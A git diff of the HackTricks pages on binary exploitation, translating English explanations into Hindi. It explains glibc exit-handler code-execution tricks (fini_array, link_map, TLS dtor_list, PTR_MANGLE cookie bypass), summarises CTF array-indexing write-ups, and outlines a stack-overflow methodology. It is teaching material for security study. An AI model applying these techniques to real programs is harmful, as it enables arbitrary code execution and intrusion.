([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) - { - ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); - size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); +{ +ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); +size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); - while (sz-- > 0) - ((fini_t) array[sz]) (); - } - [...] +while (sz-- > 0) +((fini_t) array[sz]) (); +} +[...] @@ -41,198 +40,187 @@ if (fini_array != NULL) // This is the d_un structure ptype l->l_info[DT_FINI_ARRAY]->d_un type = union { - Elf64_Xword d_val; // address of function that will be called, we put our onegadget here - Elf64_Addr d_ptr; // offset from l->l_addr of our structure +Elf64_Xword d_val; // address of function that will be called, we put our onegadget here +Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` +ध्यान दें कि `map -> l_addr + fini_array -> d_un.d_ptr` का उपयोग **स्थान** की **गणना** करने के लिए किया जाता है **कार्यक्रमों की सूची को कॉल करने के लिए**। -Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. +कुछ **विकल्प** हैं: -There are a **couple of options**: - -- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array. - - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. - -Following the previous code you can find another interesting section with the code: +- `map->l_addr` के मान को ओवरराइट करें ताकि यह एक **नकली `fini_array`** की ओर इंगित करे जिसमें मनमाने कोड को निष्पादित करने के लिए निर्देश हों। +- `l_info[DT_FINI_ARRAY]` और `l_info[DT_FINI_ARRAYSZ]` प्रविष्टियों को ओवरराइट करें (जो मेमोरी में अधिक या कम लगातार होते हैं), ताकि वे **एक जाली `Elf64_Dyn`** संरचना की ओर इंगित करें जो फिर से **`array` को एक मेमोरी** क्षेत्र की ओर इंगित करेगा जिसे हमलावर ने नियंत्रित किया था। +- [**यह लेख**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]` को `.bss` में नियंत्रित मेमोरी के पते के साथ ओवरराइट करता है जिसमें एक नकली `fini_array` है। यह नकली सूची **पहले एक** [**एक गेजेट**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **पता** शामिल करती है जिसे निष्पादित किया जाएगा और फिर **इस** **नकली सूची** के पते और `map->l_addr` के **मान** के बीच का **अंतर** ताकि `*array` नकली सूची की ओर इंगित करे। +- इस तकनीक के मुख्य पोस्ट के अनुसार और [**यह लेख**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so एक पॉइंटर को स्टैक पर छोड़ता है जो ld.so में बाइनरी `link_map` की ओर इंगित करता है। एक मनमाने लेखन के साथ इसे ओवरराइट करना संभव है और इसे एक नकली `fini_array` की ओर इंगित करने के लिए बनाना संभव है जिसे हमलावर ने नियंत्रित किया है जिसमें एक [**एक गेजेट**](../rop-return-oriented-programing/ret2lib/one-gadget.md) का पता हो, उदाहरण के लिए। +पिछले कोड के बाद आप कोड के साथ एक और दिलचस्प अनुभाग पा सकते हैं: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; if (fini != NULL) - DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); +DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` +इस मामले में `map->l_info[DT_FINI]` के मान को एक जाली `ElfW(Dyn)` संरचना की ओर इंगित करते हुए ओवरराइट करना संभव होगा। [**यहां अधिक जानकारी प्राप्त करें**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)। -In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +## TLS-Storage dtor_list ओवरराइट करना **`__run_exit_handlers`** में -## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** - -As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered. - -Code from `_run_exit_handlers()`: +जैसा कि [**यहां समझाया गया है**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), यदि कोई प्रोग्राम `return` या `exit()` के माध्यम से समाप्त होता है, तो यह **`__run_exit_handlers()`** को निष्पादित करेगा जो किसी भी पंजीकृत डेस्ट्रक्टर फ़ंक्शन को कॉल करेगा। +`_run_exit_handlers()` से कोड: ```c /* Call all functions registered with `atexit' and `on_exit', - in the reverse of the order in which they were registered - perform stdio cleanup, and terminate program execution with STATUS. */ +in the reverse of the order in which they were registered +perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, - bool run_list_atexit, bool run_dtors) +bool run_list_atexit, bool run_dtors) { - /* First, call the TLS destructors. */ +/* First, call the TLS destructors. */ #ifndef SHARED - if (&__call_tls_dtors != NULL) +if (&__call_tls_dtors != NULL) #endif - if (run_dtors) - __call_tls_dtors (); +if (run_dtors) +__call_tls_dtors (); ``` - -Code from **`__call_tls_dtors()`**: - +**`__call_tls_dtors()`** का कोड: ```c typedef void (*dtor_func) (void *); struct dtor_list //struct added { - dtor_func func; - void *obj; - struct link_map *map; - struct dtor_list *next; +dtor_func func; +void *obj; +struct link_map *map; +struct dtor_list *next; }; [...] /* Call the destructors. This is called either when a thread returns from the - initial function or when the process exits via the exit function. */ +initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { - while (tls_dtor_list) // parse the dtor_list chained structures - { - struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list - dtor_func func = cur->func; - PTR_DEMANGLE (func); // demangle the function ptr +while (tls_dtor_list) // parse the dtor_list chained structures +{ +struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list +dtor_func func = cur->func; +PTR_DEMANGLE (func); // demangle the function ptr - tls_dtor_list = tls_dtor_list->next; // next dtor_list structure - func (cur->obj); - [...] - } +tls_dtor_list = tls_dtor_list->next; // next dtor_list structure +func (cur->obj); +[...] +} } ``` +प्रत्येक पंजीकृत फ़ंक्शन के लिए **`tls_dtor_list`**, यह **`cur->func`** से पॉइंटर को डिमैंगल करेगा और इसे **`cur->obj`** के साथ कॉल करेगा। -For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. - -Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\ -Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.** - -Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits: +इस [**GEF के फोर्क**](https://github.com/bata24/gef) से **`tls`** फ़ंक्शन का उपयोग करते हुए, यह देखना संभव है कि वास्तव में **`dtor_list`** **stack canary** और **PTR_MANGLE cookie** के बहुत **करीब** है। इसलिए, इसके ओवरफ्लो के साथ **cookie** और **stack canary** को **overwrite** करना संभव होगा।\ +PTR_MANGLE cookie को ओवरराइट करने पर, **`PTR_DEMANLE` फ़ंक्शन** को 0x00 पर सेट करके **bypass** करना संभव होगा, जिसका अर्थ है कि वास्तविक पते को प्राप्त करने के लिए उपयोग किया गया **`xor`** केवल कॉन्फ़िगर किया गया पता है। फिर, **`dtor_list`** पर लिखकर, यह संभव है कि **कई फ़ंक्शंस** को फ़ंक्शन **पते** और इसके **आर्गुमेंट** के साथ **चेन** किया जा सके। +अंत में ध्यान दें कि संग्रहीत पॉइंटर केवल cookie के साथ xored नहीं होगा बल्कि 17 बिट्स भी घुमाया जाएगा: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` +इस नए पते को जोड़ने से पहले आपको इसे ध्यान में रखना चाहिए। -So you need to take this into account before adding a new address. +[**मूल पोस्ट**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) में एक उदाहरण खोजें। -Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). +## अन्य मंगले हुए पॉइंटर्स **`__run_exit_handlers`** में -## Other mangled pointers in **`__run_exit_handlers`** - -This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called. - -Let's check more code of this function: +यह तकनीक [**यहां समझाई गई है**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) और फिर से इस पर निर्भर करती है कि प्रोग्राम **`return` या `exit()`** कॉल करके समाप्त हो रहा है ताकि **`__run_exit_handlers()`** को कॉल किया जा सके। +आइए इस फ़ंक्शन का अधिक कोड देखें: ```c - while (true) - { - struct exit_function_list *cur; +while (true) +{ +struct exit_function_list *cur; - restart: - cur = *listp; +restart: +cur = *listp; - if (cur == NULL) - { - /* Exit processing complete. We will not allow any more - atexit/on_exit registrations. */ - __exit_funcs_done = true; - break; - } +if (cur == NULL) +{ +/* Exit processing complete. We will not allow any more +atexit/on_exit registrations. */ +__exit_funcs_done = true; +break; +} - while (cur->idx > 0) - { - struct exit_function *const f = &cur->fns[--cur->idx]; - const uint64_t new_exitfn_called = __new_exitfn_called; +while (cur->idx > 0) +{ +struct exit_function *const f = &cur->fns[--cur->idx]; +const uint64_t new_exitfn_called = __new_exitfn_called; - switch (f->flavor) - { - void (*atfct) (void); - void (*onfct) (int status, void *arg); - void (*cxafct) (void *arg, int status); - void *arg; +switch (f->flavor) +{ +void (*atfct) (void); +void (*onfct) (int status, void *arg); +void (*cxafct) (void *arg, int status); +void *arg; - case ef_free: - case ef_us: - break; - case ef_on: - onfct = f->func.on.fn; - arg = f->func.on.arg; - PTR_DEMANGLE (onfct); +case ef_free: +case ef_us: +break; +case ef_on: +onfct = f->func.on.fn; +arg = f->func.on.arg; +PTR_DEMANGLE (onfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - onfct (status, arg); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_at: - atfct = f->func.at; - PTR_DEMANGLE (atfct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +onfct (status, arg); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_at: +atfct = f->func.at; +PTR_DEMANGLE (atfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - atfct (); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_cxa: - /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), - we must mark this function as ef_free. */ - f->flavor = ef_free; - cxafct = f->func.cxa.fn; - arg = f->func.cxa.arg; - PTR_DEMANGLE (cxafct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +atfct (); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_cxa: +/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), +we must mark this function as ef_free. */ +f->flavor = ef_free; +cxafct = f->func.cxa.fn; +arg = f->func.cxa.arg; +PTR_DEMANGLE (cxafct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - cxafct (arg, status); - __libc_lock_lock (__exit_funcs_lock); - break; - } +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +cxafct (arg, status); +__libc_lock_lock (__exit_funcs_lock); +break; +} - if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) - /* The last exit function, or another thread, has registered - more exit functions. Start the loop over. */ - goto restart; - } +if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) +/* The last exit function, or another thread, has registered +more exit functions. Start the loop over. */ +goto restart; +} - *listp = cur->next; - if (*listp != NULL) - /* Don't free the last element in the chain, this is the statically - allocate element. */ - free (cur); - } +*listp = cur->next; +if (*listp != NULL) +/* Don't free the last element in the chain, this is the statically +allocate element. */ +free (cur); +} - __libc_lock_unlock (__exit_funcs_lock); +__libc_lock_unlock (__exit_funcs_lock); ``` +चर `f` **`initial`** संरचना की ओर इशारा करता है और `f->flavor` के मान के आधार पर विभिन्न कार्यों को कॉल किया जाएगा।\ +मान के आधार पर, कॉल करने के लिए कार्य का पता एक अलग स्थान पर होगा, लेकिन यह हमेशा **demangled** होगा। -The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ -Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**. +इसके अलावा, विकल्प **`ef_on`** और **`ef_cxa`** में एक **argument** को नियंत्रित करना भी संभव है। -Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. +आप **`initial` संरचना** को GEF के साथ डिबगिंग सत्र में **`gef> p initial`** के साथ जांच सकते हैं। -It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. - -To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ -You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +इसका दुरुपयोग करने के लिए, आपको या तो **leak या `PTR_MANGLE`cookie** को मिटाना होगा और फिर `system('/bin/sh')` के साथ `initial` में एक `cxa` प्रविष्टि को ओवरराइट करना होगा।\ +आप इस तकनीक के बारे में [**मूल ब्लॉग पोस्ट**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) में इसका एक उदाहरण पा सकते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 675eb939e..8c8235924 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -4,15 +4,15 @@ ## Basic Information -This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. +यह श्रेणी सभी कमजोरियों को शामिल करती है जो इस कारण होती हैं कि यह संभव है कि कुछ डेटा को एरे में अनुक्रमांक के प्रबंधन में त्रुटियों के माध्यम से ओवरराइट किया जा सके। यह एक बहुत व्यापक श्रेणी है जिसमें कोई विशिष्ट कार्यप्रणाली नहीं है क्योंकि शोषण तंत्र पूरी तरह से कमजोरी की स्थितियों पर निर्भर करता है। -However he you can find some nice **examples**: +हालांकि, आप कुछ अच्छे **उदाहरण** पा सकते हैं: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. +- वहाँ **2 टकराते हुए एरे** हैं, एक **पते** के लिए जहाँ डेटा संग्रहीत है और एक उस डेटा के **आकारों** के साथ। एक को दूसरे से ओवरराइट करना संभव है, जिससे एक मनमाना पता लिखना संभव हो जाता है जो इसे आकार के रूप में इंगित करता है। यह GOT तालिका में `free` फ़ंक्शन का पता लिखने की अनुमति देता है और फिर इसे `system` के पते से ओवरराइट करता है, और `/bin/sh` के साथ मेमोरी से free को कॉल करता है। - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. +- 64 बिट, कोई nx नहीं। एक आकार को ओवरराइट करें ताकि एक प्रकार का बफर ओवरफ्लो प्राप्त हो जहाँ हर चीज़ को एक डबल संख्या के रूप में उपयोग किया जाएगा और सबसे छोटे से सबसे बड़े तक क्रमबद्ध किया जाएगा, इसलिए एक शेलकोड बनाना आवश्यक है जो उस आवश्यकता को पूरा करे, यह ध्यान में रखते हुए कि कैनरी को अपनी स्थिति से नहीं हिलाया जाना चाहिए और अंततः RIP को एक पता के साथ ओवरराइट करना चाहिए जो ret के लिए है, जो पिछले आवश्यकताओं को पूरा करता है और सबसे बड़े पते को एक नए पते की ओर इंगित करता है जो स्टैक की शुरुआत की ओर है (जो प्रोग्राम द्वारा लीक किया गया है) ताकि ret का उपयोग वहाँ कूदने के लिए किया जा सके। - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. +- 64 बिट, कोई relro नहीं, कैनरी, nx, कोई pie नहीं। स्टैक में एक एरे में एक ऑफ-बाय-वन है जो एक पॉइंटर को नियंत्रित करने की अनुमति देता है जो WWW (यह ओवरराइट किए गए पते में एरे के सभी नंबरों का योग लिखता है) को प्रदान करता है। स्टैक को नियंत्रित किया जाता है ताकि GOT `exit` पता `pop rdi; ret` के साथ ओवरराइट किया जाए, और स्टैक में `main` का पता जोड़ा जाता है (जो `main` पर वापस लूप करता है)। एक ROP श्रृंखला का उपयोग किया जाता है जो GOT में put के पते को लीक करने के लिए है (`exit` को कॉल किया जाएगा इसलिए यह `pop rdi; ret` को कॉल करेगा और इस प्रकार स्टैक में इस श्रृंखला को निष्पादित करेगा)। अंततः एक नई ROP श्रृंखला का उपयोग किया जाता है जो ret2lib को निष्पादित करती है। - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 बिट, कोई relro नहीं, कोई कैनरी नहीं, nx, pie। स्टैक से libc और heap के पते को लीक करने के लिए एक खराब अनुक्रमण का दुरुपयोग करें। `system('/bin/sh')` को कॉल करते हुए ret2lib करने के लिए बफर ओवरफ्लो का दुरुपयोग करें (चेक को बायपास करने के लिए heap का पता आवश्यक है)। diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a5e59ae40..018b8ac68 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,111 +1,111 @@ -# Basic Binary Exploitation Methodology +# बेसिक बाइनरी एक्सप्लॉइटेशन मेथोडोलॉजी {{#include ../../banners/hacktricks-training.md}} -## ELF Basic Info +## ELF बेसिक जानकारी -Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: +किसी भी चीज़ का शोषण करने से पहले **ELF बाइनरी** की संरचना के एक भाग को समझना दिलचस्प है: {{#ref}} elf-tricks.md {{#endref}} -## Exploiting Tools +## शोषण उपकरण {{#ref}} tools/ {{#endref}} -## Stack Overflow Methodology +## स्टैक ओवरफ्लो मेथोडोलॉजी -With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. +इतनी सारी तकनीकों के साथ, यह अच्छा है कि जब प्रत्येक तकनीक उपयोगी होगी तो एक योजना हो। ध्यान दें कि समान सुरक्षा विभिन्न तकनीकों को प्रभावित करेगी। आप प्रत्येक सुरक्षा अनुभाग में सुरक्षा को बायपास करने के तरीके पा सकते हैं लेकिन इस मेथोडोलॉजी में नहीं। -## Controlling the Flow +## प्रवाह को नियंत्रित करना -There are different was you could end controlling the flow of a program: +एक प्रोग्राम के प्रवाह को नियंत्रित करने के लिए विभिन्न तरीके हैं: -- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow -- Or via **Arbitrary Writes + Write What Where to Execution** - - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. +- [**स्टैक ओवरफ्लो**](../stack-overflow/) स्टैक से रिटर्न पॉइंटर या EBP -> ESP -> EIP को ओवरराइट करना। +- ओवरफ्लो उत्पन्न करने के लिए [**इंटीजर ओवरफ्लो**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है। +- या **मनमाने लेखन + निष्पादन के लिए क्या लिखें** के माध्यम से। +- [**फॉर्मेट स्ट्रिंग्स**](../format-strings/)**:** `printf` का दुरुपयोग करके मनमाने पते पर मनमानी सामग्री लिखना। +- [**एरे इंडेक्सिंग**](../array-indexing.md): कुछ एरे को नियंत्रित करने और मनमाने लेखन प्राप्त करने के लिए खराब डिज़ाइन की गई इंडेक्सिंग का दुरुपयोग करना। +- ओवरफ्लो उत्पन्न करने के लिए [**इंटीजर ओवरफ्लो**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है। +- **bof से WWW तक ROP के माध्यम से**: एक बफर ओवरफ्लो का दुरुपयोग करके एक ROP का निर्माण करना और WWW प्राप्त करना। -You can find the **Write What Where to Execution** techniques in: +आप **क्या लिखें कहाँ निष्पादन के लिए** तकनीकों को पा सकते हैं: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## Eternal Loops +## शाश्वत लूप -Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: +ध्यान में रखने के लिए एक बात यह है कि आमतौर पर **एक ही भेद्यता का शोषण सफल शोषण करने के लिए पर्याप्त नहीं हो सकता है**, विशेष रूप से कुछ सुरक्षा को बायपास करने की आवश्यकता होती है। इसलिए, यह दिलचस्प है कि **एकल भेद्यता को एक ही बाइनरी के निष्पादन में कई बार शोषण करने योग्य बनाने** के कुछ विकल्पों पर चर्चा करें: -- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - - Controlling a proper ROP chain you might be able to perform all the actions in that chain -- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** -- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. +- **`main` फ़ंक्शन** का पता या उस पते को लिखें जहाँ **भेद्यता** हो रही है। +- एक उचित ROP श्रृंखला को नियंत्रित करके आप उस श्रृंखला में सभी क्रियाएँ करने में सक्षम हो सकते हैं। +- **`exit` पते को GOT में** (या बाइनरी द्वारा समाप्त होने से पहले उपयोग किए जाने वाले किसी अन्य फ़ंक्शन) को **भेद्यता** पर वापस जाने के लिए पता लिखें। +- जैसा कि [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)** में समझाया गया है,** यहाँ 2 फ़ंक्शन स्टोर करें, एक फिर से vuln को कॉल करने के लिए और दूसरा **`__libc_csu_fini`** को कॉल करने के लिए जो फिर से `.fini_array` से फ़ंक्शन को कॉल करेगा। -## Exploitation Goals +## शोषण लक्ष्य -### Goal: Call an Existing function +### लक्ष्य: एक मौजूदा फ़ंक्शन को कॉल करें -- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - - If you need to set several parameter to correctly call the **ret2win** function you can use: - - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. +- [**ret2win**](./#ret2win): कोड में एक फ़ंक्शन है जिसे आपको कॉल करना है (शायद कुछ विशिष्ट पैरामीटर के साथ) ताकि फ्लैग प्राप्त किया जा सके। +- एक **नियमित bof बिना** [**PIE**](../common-binary-protections-and-bypasses/pie/) **और** [**कनारी**](../common-binary-protections-and-bypasses/stack-canaries/) आपको बस स्टैक में स्टोर किए गए रिटर्न पते में पता लिखने की आवश्यकता है। +- [**PIE**](../common-binary-protections-and-bypasses/pie/) के साथ bof में, आपको इसे बायपास करने की आवश्यकता होगी। +- [**कनारी**](../common-binary-protections-and-bypasses/stack-canaries/) के साथ bof में, आपको इसे बायपास करने की आवश्यकता होगी। +- यदि आपको **ret2win** फ़ंक्शन को सही ढंग से कॉल करने के लिए कई पैरामीटर सेट करने की आवश्यकता है, तो आप उपयोग कर सकते हैं: +- यदि पर्याप्त गैजेट हैं तो [**ROP**](./#rop-and-ret2...-techniques) **श्रृंखला** सभी पैरामीटर तैयार करने के लिए। +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (यदि आप इस syscall को कॉल कर सकते हैं) बहुत सारे रजिस्टर को नियंत्रित करने के लिए। +- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए। +- [**Write What Where**](../arbitrary-write-2-exec/) के माध्यम से आप **`win`** फ़ंक्शन को कॉल करने के लिए अन्य भेद्यताओं (bof नहीं) का दुरुपयोग कर सकते हैं। +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए या किसी स्ट्रिंग के लिए जो एक दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग किया जाने वाला है, तो उस पते को ओवरराइट करना संभव है। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) पते को प्रभावित कर सकते हैं। +- [**अनइनीशियलाइज़्ड 